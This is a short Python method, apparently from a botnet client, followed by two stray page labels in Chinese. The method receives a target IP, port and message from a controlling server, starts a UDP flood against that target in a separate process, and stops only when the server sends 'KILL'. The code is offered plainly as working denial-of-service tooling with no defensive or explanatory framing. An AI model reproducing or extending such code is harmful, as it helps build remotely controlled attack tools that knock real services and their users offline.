def udp_flood(self):
"""Get target ip and port from server, start UPD flood wait for 'KILL'."""
en_data = self.receive(3) # Max ip+port+payload length 999 chars
en_data = self.receive(int(en_data))
en_data = en_data.split(":")
target_ip = en_data[0]
target_port = int(en_data[1])
msg = en_data[2]
proc = Process(target=udp_flood_start, args=(target_ip, target_port, msg))
proc.start()
killed = False
while not killed:
en_data = self.receive(5)
try:
en_data = self.comm_dict[en_data]
except KeyError:
continue
if en_data == 'KILL':
proc.terminate()
killed = True
return 0
评论列表
文章目录